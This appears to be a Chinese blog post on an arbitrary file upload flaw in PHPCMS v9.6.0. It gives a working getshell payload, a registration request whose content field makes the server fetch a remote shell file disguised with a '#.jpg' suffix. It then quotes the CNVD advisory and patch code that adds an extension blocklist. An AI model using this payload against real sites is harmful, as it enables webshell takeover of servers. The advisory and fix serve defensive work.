phpcmsv9.6.0 任意文件上传漏洞【官方修复方案】
phpcms 四月份左右和sql注入漏洞一同,爆出了一个任意文件上传漏洞,漏洞利用比较简单,危害很大,可以直接前台getshell. 这里来一块分析一下。
漏洞利用点是注册的地方,我们来看一下常见的一个payload:
index.php?m=member&c=index&a=register&siteid=1
post数据:
siteid=1&modelid=11&username=test&password=testxx&email=test@qq.com&info[content]=<img src=http://www.blogsir.com.cn/lj_ctf/shell.txt?.php#.jpg>&dosubmit=1
安全公告编号:CNTA-2017-0025
近日,国家信息安全漏洞共享平台(CNVD)收录了PHP存在任意文件上传漏洞(CNVD-2017-04180)。远程攻击者可利用前台注册功能上传任意图片木马文件,获得网站的控制权限。
一、漏洞情况分析
PHPCMS采用PHP5+MYSQL做为技术基础进行开发,是一款网站建站系统,该系统采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计、开发与维护。
PHPCMS V9.6 WAP模块对前台用户上传的文件扩展名过滤不严,导致存在任意文件上传漏洞,远程攻击者通过注册功能,使用#截断绕过对文件扩展名的验证,上传一个伪造成图片的脚本文件获取网站的webshell。
CNVD对该漏洞的综合评级为“高危”。
二、漏洞影响范围
漏洞影响开启WAP模块且开放前台注册功能的PHPCMS V9.6版本。
三、漏洞修复建议
目前官方暂未发布任何补丁,CNVD建议用户关注厂商主页,及时等待更新。
针对开启WAP模块且开放前台注册功能用户,临时防护建议:
1.打开文件/phpcms/libs/classes/attachment.class.php
在第166行后加上如下代码:
在phpcms9.6.1中修复了该漏洞,修复方案就是对用fileext获取到的文件后缀再用黑白名单分别过滤一次。
if(!preg_match("/($ext)/is",$filename) ||
in_array($filename,array('php','phtml','php3','php4','jsp','dll','asp','cer','asa','shtml','shtm','aspx','asax','cgi','fcgi','pl'))
){
continue;
}
或
if(!preg_match("/($ext)/i", $filename)) {
continue;
}